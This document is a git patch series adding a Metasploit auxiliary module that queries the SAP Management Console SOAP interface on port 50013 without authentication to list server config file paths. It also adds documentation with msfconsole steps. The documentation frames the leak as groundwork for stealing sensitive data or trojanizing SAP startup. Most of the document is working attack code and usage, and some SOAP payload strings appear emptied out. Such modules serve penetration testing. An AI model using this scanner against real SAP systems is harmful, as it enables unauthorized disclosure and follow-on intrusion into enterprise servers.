From 8dffa35f049d39f69b032f7f15f34c6ccefbe3ea Mon Sep 17 00:00:00 2001 From: spinfoo Date: Sat, 19 Jan 2019 14:45:34 +0100 Subject: [PATCH 1/4] Support to retrieve data from ListConfigFiles webmethod --- .../sap/sap_mgmt_con_listconfigfiles.rb | 131 ++++++++++++++++++ 1 file changed, 131 insertions(+) create mode 100644 modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.rb diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.rb new file mode 100644 index 0000000000..c3b498c3d0 --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'SAP Management Console List Config Files', + 'Description' => %q{ + This module attempts to list the config files + through the SAP Management Console SOAP Interface. + Returns a list of config files found in the SAP configuration with its + absolute paths inside the server filesystem. + }, + 'References' => + [ + # General + [ 'URL', 'http://blog.c22.cc' ] + ], + 'Author' => [ + 'Chris John Riley', # Original msf module + 'Jacobo Avariento Gimeno' # Minor changes to adapt it for ListConfigFiles webmethod + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(50013), + OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + ]) + register_autofilter_ports([ 50013 ]) + deregister_options('RHOST') + end + + def run_host(ip) + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['URI']), + 'method' => 'GET' + }, 25) + + if not res + print_error("#{rhost}:#{rport} [SAP] Unable to connect") + return + end + + enum_instance(ip) + end + + def enum_instance(rhost) + print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface") + success = false + soapenv='http://schemas.xmlsoap.org/soap/envelope/' + xsi='http://www.w3.org/2001/XMLSchema-instance' + xs='http://www.w3.org/2001/XMLSchema' + sapsess='http://www.sap.com/webas/630/soap/features/session/' + ns1='ns1:ListConfigFiles' + + data = '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << 'true' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl">' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n\r\n" + + begin + res = send_request_raw({ + 'uri' => normalize_uri(datastore['URI']), + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '""', + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 15) + + if res.nil? + print_error("#{rhost}:#{rport} [SAP] Unable to connect") + return + end + + env = [] + if res and res.code == 200 + case res.body + when /([^<]+)<\/item>/i + body = [] + body = res.body + env = body.scan(/([^<]+)<\/item>/i) + success = true + end + elsif res.code == 500 + case res.body + when /(.*)<\/faultstring>/i + faultcode = $1.strip + fault = true + end + end + + rescue ::Rex::ConnectionError + print_error("#{rhost}:#{rport} [SAP] Unable to connect") + return + end + + if success + print_good("#{rhost}:#{rport} [SAP] List of Config Files") + env.each do |output| + print_good(output[0]) + end + return + elsif fault + print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}") + return + else + print_error("#{rhost}:#{rport} [SAP] Failed to identify instance properties") + return + end + end +end From 2bcdc550c6d534b4fc0311374e34c1024de20dc2 Mon Sep 17 00:00:00 2001 From: spinfoo Date: Sat, 19 Jan 2019 17:36:47 +0100 Subject: [PATCH 2/4] Support to retrieve data from ListConfigFiles SAP webmethod --- .../sap/sap_mgmt_con_listconfigfiles.rb | 85 +++++++------------ 1 file changed, 33 insertions(+), 52 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.rb index c3b498c3d0..8a1953af4f 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.rb @@ -54,12 +54,12 @@ class MetasploitModule < Msf::Auxiliary def enum_instance(rhost) print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface") - success = false - soapenv='http://schemas.xmlsoap.org/soap/envelope/' - xsi='http://www.w3.org/2001/XMLSchema-instance' - xs='http://www.w3.org/2001/XMLSchema' - sapsess='http://www.sap.com/webas/630/soap/features/session/' - ns1='ns1:ListConfigFiles' + + soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' + xsi = 'http://www.w3.org/2001/XMLSchema-instance' + xs = 'http://www.w3.org/2001/XMLSchema' + sapsess = 'http://www.sap.com/webas/630/soap/features/session/' + ns1 = 'ns1:ListConfigFiles' data = '' + "\r\n" data << '' + "\r\n\r\n" - begin - res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']), - 'method' => 'POST', - 'data' => data, - 'headers' => - { - 'Content-Length' => data.length, - 'SOAPAction' => '""', - 'Content-Type' => 'text/xml; charset=UTF-8', - } - }, 15) + res = send_request_raw({ + 'uri' => normalize_uri(datastore['URI']), + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '""', + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 15) - if res.nil? - print_error("#{rhost}:#{rport} [SAP] Unable to connect") - return - end - - env = [] - if res and res.code == 200 - case res.body - when /([^<]+)<\/item>/i - body = [] - body = res.body - env = body.scan(/([^<]+)<\/item>/i) - success = true - end - elsif res.code == 500 - case res.body - when /(.*)<\/faultstring>/i - faultcode = $1.strip - fault = true - end - end - - rescue ::Rex::ConnectionError + unless res print_error("#{rhost}:#{rport} [SAP] Unable to connect") return end - if success - print_good("#{rhost}:#{rport} [SAP] List of Config Files") - env.each do |output| - print_good(output[0]) - end - return - elsif fault - print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}") - return - else - print_error("#{rhost}:#{rport} [SAP] Failed to identify instance properties") + if res.code == 500 && res.body =~ %r{(.*)}i + print_error("#{rhost}:#{rport} [SAP] Error code: #{$1.strip}") return end + + if res.code == 200 && res.body =~ %r{([^<]+)}i + env = res.body.scan(%r{([^<]+)}i) + print_good("#{rhost}:#{rport} [SAP] List of Config Files") + env.each do |output| + print_good(output.first) + end + return + end + + print_error("#{rhost}:#{rport} [SAP] Failed to identify instance properties") + rescue ::Rex::ConnectionError + print_error("#{rhost}:#{rport} [SAP] Unable to connect") end end From 4ec5e7d23a2fd008b1c1570a86ff5ca2fb2c2897 Mon Sep 17 00:00:00 2001 From: spinfoo Date: Sat, 19 Jan 2019 18:16:26 +0100 Subject: [PATCH 3/4] msftidy cleanup --- .../scanner/sap/sap_mgmt_con_listconfigfiles.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.rb index 8a1953af4f..a20ab6873c 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.rb @@ -14,17 +14,17 @@ class MetasploitModule < Msf::Auxiliary 'Description' => %q{ This module attempts to list the config files through the SAP Management Console SOAP Interface. - Returns a list of config files found in the SAP configuration with its - absolute paths inside the server filesystem. + Returns a list of config files found in the SAP configuration with its + absolute paths inside the server filesystem. }, 'References' => [ # General - [ 'URL', 'http://blog.c22.cc' ] + [ 'URL', 'http://blog.c22.cc' ] ], - 'Author' => [ - 'Chris John Riley', # Original msf module - 'Jacobo Avariento Gimeno' # Minor changes to adapt it for ListConfigFiles webmethod + 'Author' => [ + 'Chris John Riley', # Original msf module + 'Jacobo Avariento Gimeno' # Minor changes to adapt it for ListConfigFiles webmethod ], 'License' => MSF_LICENSE )) From 07e2f9c16610b3fb7c4b41f08b0bd5123fc0bb70 Mon Sep 17 00:00:00 2001 From: spinfoo Date: Thu, 31 Jan 2019 19:24:47 +0100 Subject: [PATCH 4/4] added documentation --- .../sap/sap_mgmt_con_listconfigfiles.md | 60 +++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.md diff --git a/documentation/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.md b/documentation/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.md new file mode 100644 index 0000000000..a827edb84b --- /dev/null +++ b/documentation/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.md @@ -0,0 +1,60 @@ + +## Vulnerable Application + +This applies to all versions of SAP software. + +The SAP Management Console (SAP MC) provides a common framework for centralized system management. It allows you to monitor and perform basic administration tasks on the SAP system centrally, which simplifies system administration. (https://help.sap.com/doc/saphelp_nwpi711/7.1.1/en-US/fa/ec218eb89b4424a9a0b423b0643952/frameset.htm) + +SAP exposes an API on port tcp/50013 with the SOAP Management Console. Some webmethods are authenticated with a valid login/password and others are unauthenticated and reacheable by default. + +With this module you can list the config files that SAP loads when starts the SAP server. This unauthenticated information disclosure can be used in a more advanced attack to get knowledge about in which paths SAP stores the config files to, for example, retrieve sensitive data or trojanize the startup process. + +## Verification Steps + + Example steps: + + 1. Install the SAP application. SAP provides a docker container for development purposes: https://developers.sap.com/tutorials/hxe-ua-install-using-docker.html + 2. Start msfconsole + 3. Do: ```use auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles``` + 4. Set up the server IP: ```set RHOSTS 192.168.10.45``` + 5. Do: ```run``` + 6. You will receive the list of SAP configuration files on the server. + +## Options + + **RHOSTS**: Set up which server or servers do you want to test + + **RPORT**: Port tcp/50013 set up by default + + In case of more advanced deployments you can set up the SSL parameters here: + + **SSL**: Set to ```true``` + + +## Scenarios + +### Example + + + ``` +msf5 > use auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles +msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > show options + +Module options (auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target address range or CIDR identifier + RPORT 50013 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + THREADS 1 yes The number of concurrent threads + URI / no Path to the SAP Management Console + VHOST no HTTP server virtual host + + msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > set RHOSTS 192.168.10.45 + RHOSTS => 192.168.10.45 + msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > run + [...] + + ```